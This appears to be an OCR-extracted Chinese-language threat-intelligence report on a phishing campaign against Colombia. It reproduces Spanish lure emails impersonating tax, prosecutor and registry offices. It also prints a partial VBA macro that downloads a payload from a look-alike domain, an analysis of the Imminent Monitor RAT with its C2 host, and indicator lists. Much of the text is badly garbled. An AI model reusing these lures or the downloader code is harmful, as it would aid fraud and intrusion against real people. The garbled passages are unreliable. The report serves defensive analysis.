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Estimado contribuyente:

Es nuestro deber informarle que debido a su deuda con el pago de sus impuestos se hara efectiva un embargo bancario en ¢l dia de hoy

Por la seguridad de sus datos hemos adjuntado un documento con su deuda a la fecha con una clave Ia cual es CHMRACT | WHATSNEW
Calendar
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Estimado ciudadano Emai

La siguiente informacion es muy importante para su seguridad e integridad, por tal motivo hemos adjuntado el listado y fotografias de los 3 unicos funcionarios au  Cwner
poblacion y vivienda que se llevara a cabo esta semana

Importante : no nos hacemos responsables si usted hace caso omiso de este mensaje
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Alerta: Hemos detectado que desde su dirrecion ip se estan enviando correos electronicos fraudulentos

@ This message was sent with High importance.

Click here to download pictures. To help protect your privacy, Outiook prevented automatic download of some pictures in this message.

Message | || Reporte fraude desde su dinrecion ip.rar 79 KB)

Hemos detectado que desde su dirrecion ip se estan enviando correos electronicos con en fin estafar a personas  robarles su infon
1273 del 2009 , para mayor claridad Hemos adjuntado el reporte de los envios que mencionamos con anterioridad , de no parar es
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Message Citaion Fisealia general de Ia Nation Proceso 305351 Trar (141 KB) @) ATIOOOOL htm 250 By

Wilson, esto de que es?, hablamos mafiana

Enviado desde mi iPhone

Inicio del mensaje reenviado:

®

De: Fiscalia General de la Nacidn <ot 5 <maitto:notificacioness@fiscal =

Fecha: 6 de septiembre de 2018, 1:2%:19 p, m. COT

Para; Undisclosed-Recipentss;

Asunto: | I IMPORTANTE: LA FISCALLA GENERAL DE LA NACION LE HACE EL ULTIMO LLAMADC A INTERROGATORIO Responder 3

CONTACT  WHAT'S NEW

Calendar
Send Email

Cordial saludo,

De acuerdo a asituacion que se presentay transcurre con el proceso No 305351T Agasto de 2018, lafiscalia general i lamada a vp
w de hechos.
Recuerde que estaes fa primera cltacion y : ctivo, e agradecemos su colaboracion.

A cantinuacién nos permitimos adjuntar | process No 3053S1T y de la misma forma l citacion a declaracion correspondiente a usted
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[WARNING - ENCRYPTED ATTACHMENT NOT VIRUS SCANNED] IMPORTANTE: La fiscalia general le hace el segundo llamado a interrogatorio

) This message was sent with High importance.
Message || Fiscalia proceso 305351T.rar (141 KB

Cordial saludo,

De acuerdo a la situacion que se presenta y transcurre con el proceso No 305351T Agosto de 2018, la fiscalia general le hace el segundo llamado a interrogatorio para declaraciones y pruebas al respectivo proceso.
Este interrogatorio tiene como objetiva la aclaracién de hechos contundentes,

Recuerde que esta es la primera citacion y asi procederemos a dos citaciones mas con aviso respectivo, le agradecemos su colaboracion.

A continuacion nos permitimos adjuntar el proceso No 3053517 y de la misma forma la citacion a declaracion correspondiente a usted.

IMPORTANTE:

Clave del archivo adjunto :
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Notificacion: Usted tiene un proceso pendiente por lo tanto no podra salir del pais

Ta help protect your privacy, Outiook
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Message Prozess Pendlients Migrscion Colombes.rar 56 K8

Saludos cordinles

Le notificames hoy 2 de maye que Usted tiene un procesa peadisnte y hasta 5o recibir notificacion de la caducidad de este proceso o se le pesmitina sakic del pais como lo estipula el aniculo 12 de 1a ley migestosia

Para mayor informacion hemos adjuntado dicho proceso

Este documento una clave &3

Sede Adminstratva
{0 se realizan irimies y servicios)
Avemda Calle 26
No 59-51
Edificio Argos
Tome 3 Piso 4
Bogotd, D.C
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Debido al no el pago de sus impuestos se hara efectivo un embargo bancario

) This message was sent with High importance.

_ | estado de cuenta.rar 72 KB)

Estimado contribuyente:
Es nuestro deber informarle gue debido a su deuda con el pago de sus impuestos se hara efectivo un embargo bancario en el dia de hoy.
Por la seguridad de sus datos hemos adjuntado un documento con su deuda a la fecha con una clave la cual es :

421e68dd353cdaBbbSe 3d5e 6c066346r

Fste documentn cantiens su deuda a la fecha v todos Ins datos del nroreso detalladamente

Yt B B Byington 2 & I AH I M4
o FHRFBHICK
s 25 O 25 RS LU [ X8 45 Al o0 8 (www.dian.gov.co) H#E4T X 3)
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E| =] (& estado de cuenta.doc - Word (Product Activation Failed) T EH - O X

FILE HOME INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW Sign in
a . - R T i Find -
. . R VA R i - A
N Calibri 1 -|A A Al S-iEr &% 8 T | papboend Asebcene AaBbC b peol
-|  facReplace
Paste - A .k -l esEEsE=E= = - B . i -
. ¢ B I U -abex, x [A-3-A =SEE== S Sy - o8 TNormal = Mo Spac.. Headingl |+ s Select~
Clipboard Font ] Paragraph ] Styles [Fl Editing
1 SECURITY WARNING Macros have been disabled. Enable Content x

DIAN

Direccidn de Impuestos y Aduonas Mocioncles

PARA VIZUALIZAR SU DEUDA A LA FECHA

ES NECESARIO HABILITAR EL CONTENIDO COMO LO MUESTRA LA IMAGEN

Inicio | Insertar  Disefio de pagina  Referencias  Correspondencia
5 F - Calibri Tl v A A Aar B ==
Pegar N & § - obe %, x' w.oA E==:
- <3 Copiar formato — -—
Portapapeles ; Fuente

! Advertencia de seguridad  Las macros se han deshabilitado. Habilitar contenido

estado de cuenta.doc

3. BIARAT

360 MG I 0BT 1% APT ALZUH UL A BLdy 000 A Bk i R AT 1 PR A

3.1 EHMH—RHE

2019 4 2 A 14 H, 360 B R O i3S 2% APT L SR B id 2, MR 5
T 3R 25 S0 (MD5: 0c97d7f6a1835a3fe64c1c625ea109ed ) F AL 6 5% W i B 4F
AEEFATRBRFAEE, RMOKI T B4 —NKLMFEHCH (MDS:
3de286896c8eb68a2la6dcf7dae8eco7 ) & o X N A £ X M X & B 4 ( MDS -
f2d5ch747110b43558140c700dbf0eSe ) » X HBA: ek B EHE LU E K RFFId4, xTEHE
bW 5 E AR AT B
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El H € 5 = 0c97d7f6a1835a3fe64 c1c625ea109ed - Word ?2 B - 0O X
Signin |

INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW

FILE HOME
oy 0 . .. ‘ | dkFind -
= = n v | Bpl == s |e=a= | A ! "
1y 5 [cab [t -|A A Aa- ke Z-i-Ee & 2 T asgbeene Asbcede AaBbC | 4 Replace
Y| wac
Paste ¢ B I U-aex.x A-¥-A- SE==15- &-8- | TNomal | TNoSpac.. Headingl [3] | cocie
Clipboard Font ] Paragraph ] Styles 1M} Editing ~
x

1 SECURITY WARNING Macros have been disabled. Enable Content

Sile ‘iR
5
)
o
(S0 g

REGISTRADURIA
CIviL

NACIONAL DEL ESTADO

= o - —

PARA VISUALIZAR LOS DETALLES DE LA CANCELACION DE SU CEDULA DE CIUDADANIA ES
NECESARIO HABILITAR EL CONTENIDO COMO LO MUESTRA LA IMAGEN A CONTINUACION

Wik ol
Inicio Insertar Diseno de pagina Referencias Correspondenda
- e e
S o . Calibri 1 - AN A B ZoEeu
= 3
Pegar - e 7.A.- E=E=
W & covutomty | MoK 8w 3 a(IEES

Portapapeles Fuente

!} Advertencia de seguridad  Las macros se han mrunimao,l Habilitar contenido I

BOERIFEE SO, D3k B e L E X RFE LA (MDS:
0c97d7f6a1835a3fe64c1c625eal09ed)

Bec t 4
Bl oo
S \ = ¥ Creste New ¥ PV | > e iina
[ Mesting Bonasene
. X g 3 i ) heltea-
Deiete  Reply Reply Forwand T, L Yictions s | Mark € v Follow L
An N N Unread Up~ R Select -
ve a0 Eaning zoom
- x

Detere Respon

RV: Usted tendrd que pagar una multa de 10 salarios minimos mensuales legales vigentes porque no asistié a cumplir con

- CONTACT  WHAT'S NEW

Meitage del Estado Civl
[T Tr——— Calendar
Bogotd 12 de Jula
Send Email
Registraduria Nacional del estado Civil: NOTIFICACION
seflar ciudadano, cuenta las vot kzadas el 27 de mayo de 2015, y segin el informe por el deleg 43

meses de anticipacidn, usted no asistid a cumplir con sus deberes con el cargo coma JURADO DE VOTACION.

e acarrear e hasta 20 ahos de inhabikdad para ejercer eargos

El articulo 105 del Cédigo Electoral establece que el cargo de jurado de de ™1 “y

publicos.
Sino es un servidor publico, tendsa que pagar una multa de hasta de 10salarios minimas menswales legales vigentes.

Segun o anterior Hemos adjuntado detales de descargos legales y Grcular de citacidn.

Wik MG Fe I FE 5 AW FE T R A

3.2 fRERIRNMSEE R

Wili B AR B AN R H AR, A7 475 R8T 40Dy 2 s A 0 R0 T A HL A A oK S I T £
bl e e Dy 2 B BRI AR SR B B IR FEIT » Dy RS 55 A1 O i 2B SR MLt AR 28 A [ o 5
Ryl Py R VAR RIS BB LA R A X AR AT A1 [ 24 ] B A EL I 7 #45

Wike 2 [RIFE X MR AF P9 2 BEAT A oA i, (LA S B B Ohi& N LA, H S #edcdis W
TARATEARSG . T B Db RS B B SRR T 16 ATH RRAG B 20 F AR E5 h H of 2 S
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(GRIISESS IER

Google #iZ

I
x
i
jili]
<
T

Cordial saludo, X

De acuerdo a la situacion que se presenta y transcurre con el

proceso No 305351T Agosto de 2018, la fiscalia general le
hace el sequnde llamado a interrogatorio para declaraciones y
pruebas al respectivo proceso.

Este interrogatorio tiene como objetivo la aclaracion de hechos
contundentes

Recuerde que esta es la primera citacion y asi procederemos a
dos citaciones mas con aviso respectivo, le agradecemos su
colaboracién

A continuacién nos permitimos adjuntar el proceso No
305351T y de la misma forma la citacion a declaracién

correspondiente a usted

IMPORTANTE

Clave del archivo adjunto :

Bl
i
jui}
i}
<

Regards,

According to the situation that arises and runs through the process
No. 305351T August 2018, the prosecutor general makes the second
call to interrogation for statements and evidence to the respective
process.

This interrogation aims to clarify hard facts.
Remember that this is the first citation and so we will proceed to two
more citations with respective notice, we appreciate your

cooperation.

Then we allow you to attach the process No 305351T and in the
same way the citation to declaration corresponding to you.

IMPORTANT
Attachment key

procesofiscalia30535120180821e68dd993c4a8bboe3d5e6c066946
se

procesofiscalia30535120180821e68dd993c4a8bboe3d5ebc0b
6946se

IS PR E I s A TR E T A B A, IR IBE IR SCrP SR U s i, T Sead s 0 5% 19
Ezge X alllB
ot

2

|| Reporte fraude desde su dirrecion ip.rar (79 KB)

Hemos detectado que desde su dirrecion ip se estan enviando correos electronicos con en fin estafar a personas :
estipula la ley 1273 del 2009 , para mayor claridad Hemos adjuntado el reporte de los envios que mencionamos

Adjuntamos el reporte de los envios fraudulentos que se estan enviando desde su dirrecion ip con un clave :

Icemrocibemeticoem-‘iosipfraudeS76e68dd993c4a8bb9e3d5e6c066946octubre I RAR Password

W44 1E SC R 7 RAR %515

XTHSPFHEAT 30T > B VA BLIGE 2 AE AR MR AR A 1 VPN 8507 RIS A &
PRI o R BE RS A AR 38 (K0S 1P, IR R LI S S e 37 5 [ 4 27 LI JH ) 1D C WL K
tH, IS 1P HuhEDy

128.90.106.22
128.90.107.21
128.90.107.189
128.90.107.236
128.90.108.126
128.90.114.5
128.90.115.28
128.90.115.179

3.3 FIENXH
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WE YRSk 4% 1) 5 1 SR R MHTML A% 5 Word SCRSIEAT By, MHTML 1 2CH) word
SCMBEAE R B SR A A B . B 360 BUMM S ik P e 2019 4F 2 H ) 3k

HIFEA : Registraduria Nacional - Notificacion cancelacion cedula de ciudadania.doc

XA

Registraduria Nacional - Notificacion cancelacion cedula de ciudadania.doc

MD5

0c97d7f6a1835a3feb64clc625eal09ed

e E R RFF LA

2
&

25
26
2

MIME-Version: 1.0
Content-Type: multipart/related; boundary="-- —--= NextPart_01D4C20%.8DAB0D500"

Este documento es una pﬁina web de un solo archivo, tambiﬁﬂ conocido como "archivo de almacenamiento web".

777777 = NextPart 01D4C209.8DAB0500

Content-Location: file:///C:/CB724581/RegistraduriaNacional-Notificacioncancelacionceduladecindadania.htm

Content-Transfer-Encoding: guoted-printable
Content-Type: text/html: charset="windows-1252"

<html zmlns:v=3D"urn:schemas-microsoft-com:vml"

"urn:achemas-microsoft-com:office:office”

rn:schemas-microsoft-com:office:word”
http://schemas.microsoft.com/office/2004/12/omml™
=3D"htcp://www.w3.org/TR/REC-html40">

<head>
<meta http-equix ontent-Type content=3D"text/html; charset=3Dwindows-

EREY

2 <meta name=3DProgId content=3DWord.Document>

21 <meta name ator cont D"Microsoft Word 157>
22 <meta nam =3D"Microsoft Word 1:5">
23 <link rel;

href=3D0"RegistraduriaNacional-Notificacioncancelacionceduladeciudadania arc=
hivos/filelist.xml">
<link rel=3DEdit-

href=3D0"RegistraduriaNacional-Notificacioncancelacionceduladeciudadania arc=
hivos/editdata.mso">

ime-Data

1 ($default#n
1(#default#h

I (¢ Registraduria Nacional - Notificacion cancelacion cedula de ciudadania.doc.doc - Word (Product Activation Failed)
FILE HOME  INSERT  DESIGN  PAGELAYOUT  REFERENCES — MAILINGS  REVIEW  VIEW
s, . -
0 Calibri -1 -|A A Aa- A

Pﬂjtﬁ ¢ BT U -aex, x A-%¥.4-

MHTML #% 2 Word SCHRY

Clipboard Fant [F} Paragraph [F} Styles

1 SECURITY WARNING Macros have been disabled. Enable Content

Heading 1

PARA VISUALIZAR LOS DETALLES DE LA CANCELACION DE SU CEDULA DE CIUDADANIA ES
NECESARIO HABILITAR EL CONTENIDO COMO LO MUESTRA LA IMAGEN A CONTINUACION

(Wl = —— “—
Inicio | Insertar  Disefio de pigina  Referencias  Correspondencia
BN o Calibri R N P
Eg copia
Begar N & § - abe x, X B . A
- < Copiar formato e -

Portapapeles ] Fuente

!,' Advertencia de seguridad  Las macros se han deshabilitado, Habilitar contenido

a
20T | papbcene aasbene AaBbC -
1 ThNormal | TNo Spac...

[F]

? H - O X
Signin
% Find ~
32 Replace
D) Select -
Editing ~
x

SCRS O R LL O B R R F il AL, FER A PE PR 1B 2 5 T A AR, AT
1T )5 %% Payload
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M FTIF % MIME SR % SRR, 501 Document_Open B
Document_Open ()

If 68258783
KfsHoGryV As
77 GoTo WGR
WGR :
Main
Fcl4qObd

uIeRbztQZF()
IRRQUszGlx As In
IRRQUszGlx = "2582"

Document_Open 51 F Main B84 T %k hxxp://diangovcomuiscia.com/media/a.jpg H
17 N%AppData%\l.exe (mds: efof19525¢7862fb71175c0bbfe74247):

Main()

rO7tRe7( Environ("Ap

VZPpRxvdRmcShraaM + 1

SDE As String)

esponseBody )

M fcldqoba %, W E AR Google T RIMTES, MIGTHRIMESHEE W
fE& Google Inc
R (WEE) FEH] VG S RGN K B F A% 5% Google iR TT
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http://diangovcomuiscia.com/media/a.jpg

B FH AN R 1S R
EEZHNE Ja 51 %AppData%\1.exe
f£% & X GoogleUpdate

FHSRACHS 4R P& s«

fclaqob4a ()

mmdd-HhNn™) ,
CreateObject(
-Connect
ma3nruks
th m43nruk06XFjm
.RegistrationInfo

-Author =

With .Principal
.ID ‘P" & Issqueb
-RunLevel = TASK RUNLEVEL LUA

With .Settings
-Enabl
-StarthWhenAvailable =
-WakeToR
{_NORMAL
.DisallowStartIfOnBatt:
-RunOnlyIfIdle =

.IdleSettings.St
End With

ers.Create(TASK_TRIGGER_DAILY)

-ID = ILy™
-StartBoundary
-Enable
-Repetition.Interval =
End With
W -Actions.Creat
-Path = E
End
End With

-GetFolder(

- terTaskDefinition m43nruk
If Err T

3.4 Payload (Imminent)

X4 l.exe

MD5 ef9f19525e7862fb71175c0bbfe74247

wiEE R NET

BEBHRATH 1exe NIRAMIARL G, ZAEA 9IRS LLED™ H ) Crthid:
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l Exeinfo PE - ver,0.0.5.1 by AS.L - 1020+68 sign 2018.04.31 — x

File : ||efaf19525e7862fb71175c0bbfe74247 | Aw ==
Entry Foint : [oo09000A < EPSection: [ ] = Ll
& File Offset : |D00SSEDA First Bytes : |FF.25.00.00.49 ﬁ Flug
@“- Linker Info : SubSystem & |windows GUI PE Y
File Size :  [ooosaoooh = H| Overlay: |NO 00000000 Q
®

[ —
| Imaae is 32bit executable RES/OVL: D/ D %% 2004 =
[.NET ? - Unknown packed file -» PE Header manipulated/tampered <- || gcan t Rip

Lamer Info - Help Hint - Unpacdk info =
|Cli|:k -[Scan ft] Button or try other Detector - htu:u:ﬂpid.gamecnp| 9 o ==

FIRVE JE T LA G 2 Imminent Monitor F457 5, 1ZF£4<N Imminent Monitor RAT:
4 g dianull {
4 8 dia
= PE

I =B References

I B Resources
b} -
B {} Imminent-Meonitor-Client-Watermark

P L} My
FEAIZAT Ja B P B R S R SR B A2 BN “application” %, s i —/N kB 7zip
EEH) Izma.dil

(culture ==
100 %

LOCAIS o000 0 L
Name

b

@ name
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L

Name Value

Biti J5 M ZEYE S TR R I RN _7z 017 B3R, R lzma.dil fEESZER SR, 53]
HEIEf) Imminent Monitor RAT ££4< (MD5: 4fd291e3319eb3433d91ee24cc39102¢e ):

> @ DefaultPorts
© X509EnhancedKeyUsageExtension

[] parameters)

this. Invoke(obj, BindingFlags.Default, null, parameters, null);|

Lo RE ST
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| MDs5 | 4fd291e3319eb3433d91ee24cc39102e

o A

ZAEAALE Imminent Monitor RAT SER DI REACAY, {HRH T ConfuserEx+Eazfuscator.NET
SEE 2SI TS, W EpR:

QEQ222

*
]
b e
»oy

QRR2A2222222222

R20U22

o> ZIRE IR T DA R B D RE I T R

ID ThieE
bDfBgxDCINCfwSAfMnZwspLefnc FHEH
ChatPacket = HF
cokLfFnjBwgKtzd TpdXSgQlPacR MR
CommandPromptPacket R AT
ConnectionSocketPacket WA 2% A i 0 3 A P
ExecutePacket AL FEL AT PE UM
FastTransferPacket SRR A H
FilePacket A E R
FileThumbnailGallery SRS e mes [ R
KeyLoggerPacket PARDF
MalwareRemovalPacket R IR E
MessageBoxPacket W H B
MicrophonePacket 22 i KRR
MouseActionPacket AR BN
MouseButtonPacket BAnA . A it aE
NetworkStatPacket T 2 5 2
PacketHeader WBEHHELER
PasswordRecoveryPacket WA 2R IR
PluginPacket e

19



ProcessPacket HARE R

ProxyPacket REEH (RARES)
RDPPacket PR R I D) B
RegistryPacket FEM R AR
RemoteDesktopPacket i 0P R T A
ScriptPacket HATHIA Chtml. vbs. batch)
SpecialFolderPacket Windows 5k S
StartupPacket Ja BT ERAE
TcpConnectionPacket TCP Fill#7 S G 1A
ThumbnailPacket M ASVEPS
TransferHeader A A
WebcamPacket IR 28 B AR S AH K

WindowPacket

Windows #:4E CRIHT. Bk H/MEsE)
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mmandPromptPacke
i tPac

b
P
b
P
b
b
b
b
P
b
b
b
b
P
b
P
b
b
P
b
P
b
b
b
b
P
P
P
b
b
P

Eq
=
Eq
=
Eq
Eq
==
Eq
=
Eq
Eq
Eq
Eq
=
Eq
=
Eq
Eq
=
Eq
=
Eq
Eq
Eq
Eq
=
Eq
=
Eq
Eq
=

N

(&
it
=
=
dIr
pus
g
&
=
=F
IOr
=i
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=
&
>
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¥ >
» ¥
» »
¥ »
»
»
»
»
» ¥
»
>
» »
» »
¥
»
¥
»
»
»
»
¥
¥
o AR

¥ O BB AT |5 2 K M 2 75 7F %temp%\[appname]l H & T, WA WS @ & 1
N%temp%\[appname]\[appname], FF¥E @ 1 A g -
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2] ef919525¢7862bT1175c0bbfeT4247_rat.exe Properties

k(C:) » Users » debugger » AppData » Local » Temp » ef@f19525e7862fb71175c0bbfe74247 rat

General ‘r‘ ibilt | Semrityl Details I Previous Varsions‘
Share with + MNew folder
- IEI f 519525 7862 71175c0bbfe 74247 _rat exe
MName Date modified Type Size
f9f19525e7862fb71175c0bbfe74247 _rat.exe  2/15/2019 2:11 AM  Application 673 KBl Type offile:  Application (exe)
Diescription:

Location: C:A\Users'debugger'AppData' Local\ Temp ef ¥ 1952
Size: 672 KB (688,640 bytes)
Size ondisk: 676 KB (692,224 bytes)

Created: Today, February 15, 2019, 7 minutes ago
Modified: Today, February 15, 2015, 57 minutes ago
Accessed: Today, February 15, 2019, 7 minutes ago

Attributes: [] Read-oniy

YRI5 S5 B %temp%\[appname]:

CALL to CreateProcessW from shell3Z. T5BDSSBB

ModuleFileName = “C:\Users\debugger\dppData\Local \Temp e f9f19525e T862fbT1175c0bbfa74247_rat\ef9f19525e7362fbT1175-0bk
CommandLine = ""C:\Users\debugger'Applata\Local \Temp\ef9f19525e7862fLT1175c0bbfeT4247_rat\ef9f19525e7862fbT1175c0bb e
pProcessSecurity = NULL

pTh.rcadSc\,unty = NULL

InheritHandles = FALSE

CreationFlags = CREATE_NEW_CONSOLE |CREATE_UNICODE_ENVIRONMENT |CREATE_DEFAULT_ERROR_MODE | 30000

pEavironment = NULL

CurrentDir = "C: \Users\debugger\Desk‘(op

pStartupInfo = 0049E9E

vProcessInfo = OSFBOZIS

B JE MR IR GRS, IR HERE

CALL to CraatEFrDcEssW from shel132. T5BD55BB

HoduleFilelane = “C: Windons\SystendZ\ond. exe”

ComandLine = ““C:\Windows\Systen3Ziend. exe” /C ping 1.1.1.1 - 1 —w 1000 > Nul & Del “C:\Users\debugger'\Desktop\ef9f19525e7862fb711 T5c0bb e 4247 rat. exe”™”
pProcessSeaurity = NULL

pThreadSecurity = NULL

TnheritHandles = FALSE

Creationflags = CREATE_NEW_CONSOLE |CREATE_UNICODE_ENVIRCNMENT |CREATE_DEFAULT_ERROR_MODE 80000
pEnviranment = NULL

Currentlir = “C:\Users\debugger\Desktop”

pStartuplnfo = D04SESES

PProcessinfo = 0076B0CO

FEASE 3T A 8 J5 B E%AppData% H G 2 Imminent H %, 1% H BRI G ) H &
MG B RAME BECIE, B2 B RE A0 K 3% 21 AR 55 ity

Include in library - Share with = MNew folder
-~
Marme Date modified Type Size
W Logs 2/15/2019 3:.08 AM File folder
ads .. Monitoring 2/15/2019 3:08 AM  File folder
Yaces || Path.dat 2/15/2019 3:16 AM DAT File 1KB
C&C HbHiA: mentes.publicvm.com:4050
DNS
LTiie= IPHRhE IPEElE ASN
mentes publicvm com 128.90 107 88 =E=E AS22363 Powerhouse Management, Inc.
SiE=E
Y =0 IPitht IPAEH ASN
TCP 4050 128.90.107.88 ===E AS22363 Powerhouse Management, Inc.

35 TTP (&R, #FA., T2
360 J G R o RS T % APT AU TTP W1 R :

Y B #r S L RIBURHLE « KB4k DA K 25 B i\l B 46 L TE 4332 36 17]
BEESIEE | 2018 4 4 A
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FERK ENBGE AR, PUEE B ST
IHAO 11 X
ok MHTML SCAH A% 205 0% 2 2 AREE 1) Word SCRY

EEMARE Imminent J5 1]

R FT BN P R
LA I BE Sy i
25w A Windows &4t E ML
FERHEA | 1. I NE YT E M s EE M A R R R 4 9 B AL T Bk
BEARRES T {10 Bk 8 A SCAR AN SCAY 5
2. RIEHH MHTML Xﬁ:%ﬁﬂ:@/\ R ARSI Word SCRS ) L IR
i, F2fEF RAR 0% 5 7H SO DASRE G B ) 5 ) 7 3% s
3. BiliEihde EBZTV\HSIIZ.%E$§135L\ B MIAEE &R NS
BE. MR ER SR aHMe T E R N2 B R, JHe
B K mNEESTT, X EHME RO - eRilde, A< E QR A 5l
[ 2> 7] B RS LU 2 J] 384T Bl
4. A TENEARL Imminent X H RT3 H], HRA 17T &
WA P AR AR

4. WRIRF1REL

360 JEUHTE i Hh Ol 3 23 T Tk 2 P 0 22 AN N B Y Office Word ST ) 8 i 18 50 1)
MHTML SCRIFAFEE GEF D S5EE, IS &BURSE APT BUli MR E R, M5
HERE T UTC IS XAEFE 4 X (UTC-4) TS 1 /NI X L PR 347 B X3

4.1 WA HZRAETIE]

PLEL# N2 RAR JE 4710, (Registraduria Nacional del Estado Civil -Proceso inicado.rar) A
%, BT RAR 2 ORAF A BB ER 8], B L% RAR L5132 Word ST E It a1
WA AN RN Word SCRUE SN TA], XA FEE SR (MHTML) JofE B A
3 E’JI%{I&E&HTIETJ ;M (HTEHFLT UTC+8 HTI:, T W SO A LU TRT sk 8 /INERE X L)

<head>

12 <meta http-equiv=3DContent-Type content=3D"texc/html; charsec=3Dwindows-125= o =t g &5
jf 2" TR T I TRE TR TRME B TR M T - T L
20 <meta TogId d. > B g v B B B B T B B
21 <meta rator icroso fr Word 157> E
22 <meta riginator content=3D"Microso ft Word 15"
23 <link rel=3DFile-List h ef=3D"ult_archivos/filelist.xml">

dit-Time-Data href=3D"ult_archivos/editdata.mso">

1 ($#defaultfVML);}
1 (#defaulciVML) 5}
1 (#defaulc$VML) ; }
url (#defaultfVML) ; } FETE

+ Registraduria Nacional del Estado Civil -Procesa inicado -4 || == Registrad.

-[1f gre mso 9]><xmi> =i B
8] Registraduria Nacional del Estado Civil -Proceso inicado.doc 2018/7/10 12:55
—

LLXTH:FﬁﬁJJDM RAR LA @HIHTI“E&HTIEWDIi‘éjd B SCRE S 1],
FATAARKAISTIR A A SCRE T I N A AE SO TR] 9 Beedi 3 (1 S A8 S5O 18], SXFESRATT AT LA
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ARSI B A 1 SCRE TC (5 B N A S TR S i

4.2 MHTML 5B E X E B8 4 it

PAIGET 1 A P H SR RS SO TR B R 3%

UTC+00

00:32

01:15

01:15

01:17

01:35

01:59

02:57

03:28

04:40

04:55

05:17

12:27

12:49

12:50

13:38

13:42

13:49

14:21

14:22

15:19

15:26

15:30

15:56

17:22

17:58

18:31

20:53

21:31

23:30

MREREA RS [T DL Y, AR B A ] TR 7E 05:30 21 12:30 2 [8] (713
1o BT fie B PRAGHEN - I AR IR (8] NI AERR 12 i B 8 s 2 T8 f8 DX 4sk (B B I 1) B »
TR Bt BT AL I X REAZAEPE 4 X (UTC-4) TEA 1 /NS X TE] A

4.3 PE B8 8 5% (B XSS BT 3T EE
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FATEGE T TR KIRE R dump HERIIEZ L PE ST RIEME R, SRS R
FAHSCRE DO TRIBEAT X EE AT BAE e A SR A B A (8] 55 060 ME K PE ST DI 1) 38 8]
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